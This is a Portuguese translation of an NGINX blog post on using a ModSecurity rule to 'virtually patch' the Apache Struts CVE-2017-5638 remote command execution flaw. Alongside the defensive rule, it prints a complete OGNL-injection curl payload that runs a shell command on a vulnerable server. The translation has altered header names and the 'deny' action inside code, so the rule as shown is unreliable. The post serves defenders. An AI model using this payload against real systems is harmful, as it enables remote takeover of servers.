BLOG | NGINX

Usando o ModSecurity para corrigir virtualmente o Apache Struts CVE-2017-5638

NGINX-Parte-de-F5-horiz-preto-tipo-RGB
Miniatura de Faisal Memon
Faisal Memon
Publicado em 22 de janeiro de 2018

[ Editor – O módulo NGINX ModSecurity WAF para NGINX Plus foi oficialmente encerrado em 1º de abril de 2022 e está em transição para o fim da vida útil em 31 de março de 2024 . Para mais detalhes, veja F5 NGINX ModSecurity WAF está em transição para o fim da vida útil<.htmla> em nosso blog.]

Muitas vulnerabilidades de segurança são encontradas em bibliotecas usadas pelo código do aplicativo. Quando não for prático implementar rapidamente uma correção no código de uma biblioteca, você pode usar o ModSecurity para interceptar uma exploração, "corrigindo virtualmente" o código afetado até que você possa atualizar as bibliotecas afetadas.

A vulnerabilidade da biblioteca de aplicativos Apache Struts ( CVE-2017-5638 ), que levou à violação de 143 milhões de contas na Equifax , é um exemplo de exploração que pode ser corrigida virtualmente. A assinatura da vulnerabilidade é a presença de strings #cmd= ou #cmds= nos cabeçalhos HTTP Content-Type , Content-Disposition ou Content-Length . (Para mais detalhes, veja abaixo .)

Usando o ModSecurity, podemos criar um patch virtual com uma regra simples que procura as strings maliciosas nos cabeçalhos HTTP afetados:

SecRule REQUEST_HEADERS:Tipo de conteúdo|REQUEST_HEADERS:Comprimento do conteúdo|REQUEST_HEADERS:Disposição do conteúdo "@rx #cmds?=" "id:5638,auditlog,log,negar,status:403"

Definimos a regra com SecRule , fornecendo três parâmetros:

  1. Os cabeçalhos de solicitação a serem pesquisados, na forma de três variáveis REQUEST_HEADERS OR'ed juntas
  2. A expressão regular compatível com PERL (PCRE), conforme especificado por @rx , que pesquisa os cabeçalhos de solicitação especificados para strings incluindo #cmd= ou #cmds=
  3. A ação a tomar

Se o ModSecurity estiver configurado no modo de bloqueio ativo , ele descarta qualquer tráfego que corresponda ao PCRE e, assim, aciona a regra.

Aprenda como começar a usar o NGINX e o ModSecurity juntos com nosso eBook: ModSecurity 3.0 e NGINX: GUIA DE INÍCIO RÁPIDO

Por que o Virtual Patch?

Em muitos casos, é mais rápido implantar uma regra no ModSecurity do que corrigir o código afetado, testar novamente e, então, implantar na produção.

Considere a vulnerabilidade do Apache Struts como exemplo: como o Struts é uma biblioteca de aplicativos e não um pacote de sistema operacional, atualizá-lo em um ambiente de produção empresarial pode levar algum tempo. Como parte da atualização para uma nova versão do Struts, cada aplicativo dependente do Struts precisa ser reconstruído e testado com a biblioteca Struts mais recente. Uma grande organização pode ter centenas de aplicativos, cada um com sua própria versão da biblioteca de aplicativos Struts, o que a torna vulnerável até que cada aplicativo seja atualizado.

Com a regra personalizada do ModSecurity em vigor, você pode então corrigir o software de produção com cuidado e em um cronograma razoável, sem a pressão de ficar vulnerável. Depois que todo o software afetado for atualizado, a regra personalizada poderá ser desativada.

Como funciona o exploit CVE-2017-5638

Apache Struts CVE-2017-5638 é uma vulnerabilidade de execução de comando remoto (RCE). Esse tipo de vulnerabilidade permite que o invasor execute comandos arbitrários, como /bin/bash ou cmd.exe , nos sistemas de destino. Com essa capacidade, o invasor pode então pesquisar o sistema de arquivos e a rede em busca de dados confidenciais, com o mesmo nível de acesso do servidor de aplicativos Java. Por exemplo, se o servidor de aplicativos Java estiver sendo executado como root , o invasor terá privilégios de root no sistema de destino.

De acordo com o CVE oficial , a vulnerabilidade ocorre quando um invasor envia um cabeçalho HTTP Content-Type , Content-Disposition ou Content-Length malformado. O Apache Struts gera uma exceção quando esses cabeçalhos HTTP não correspondem a nenhum dos valores esperados. O problema ocorre porque o código de tratamento de exceções tenta imprimir o cabeçalho inválido e sem escape. (Neste contexto, “sem escape” significa que os comandos suspeitos não são precedidos por caracteres que os impedem de serem executados – caracteres de escape – como normalmente é feito ao imprimir código.)

O invasor pode colocar uma expressão Object Graph Navigation Library (OGNL) no cabeçalho Content-Type . O OGNL tem a capacidade de executar comandos do sistema. Quando o cabeçalho inválido e sem escape é impresso, a expressão OGNL é avaliada e todos os comandos do sistema dentro da expressão OGNL são executados.

Exploits geralmente são uma variação do comando curl abaixo.

curl -H "Tipo de conteúdo:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))). ( #cmd= 'ls -ltr').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).( #cmds= (#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})) .(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" www.example.com

A sintaxe principal está na segunda metade do comando: uma instância de cada uma das strings #cmd= e #cmds= (destacadas acima). Cada uma das strings é seguida pelo comando do sistema a ser executado.

Resumo

A solução preferida é sempre corrigir o software vulnerável imediatamente. Mas corrigir softwares de produção pode ser demorado, e atualizações apressadas podem ser arriscadas. Criar um patch virtual para software vulnerável com o ModSecurity pode ganhar tempo.

Com o patch virtual, você cria uma regra ModSecurity personalizada para bloquear tráfego que pode explorar a vulnerabilidade de segurança, como CVE-2017-5638 . Ao fazer isso, você protege seu site do ataque. Você pode então corrigir os servidores de produção com cuidado e em um cronograma razoável, sem medo de ser vítima nesse meio tempo.

Se você quiser saber mais sobre o ModSecurity e o NGINX ModSecurity WAF, baixe nosso e-book, ModSecurity 3.0 e NGINX: Guia de início rápido .

Recursos

[O módulo NGINX ModSecurity WAF para NGINX Plus foi oficialmente encerrado em 1º de abril de 2022 e entrará em transição para o fim da vida útil em 31 de março de 2024 . Para mais detalhes, veja F5 NGINX ModSecurity WAF está em transição para o fim da vida útil<.htmla> em nosso blog.]


"Esta postagem do blog pode fazer referência a produtos que não estão mais disponíveis e/ou não têm mais suporte. Para obter as informações mais atualizadas sobre os produtos e soluções F5 NGINX disponíveis, explore nossa família de produtos NGINX . O NGINX agora faz parte do F5. Todos os links anteriores do NGINX.com redirecionarão para conteúdo semelhante do NGINX no F5.com."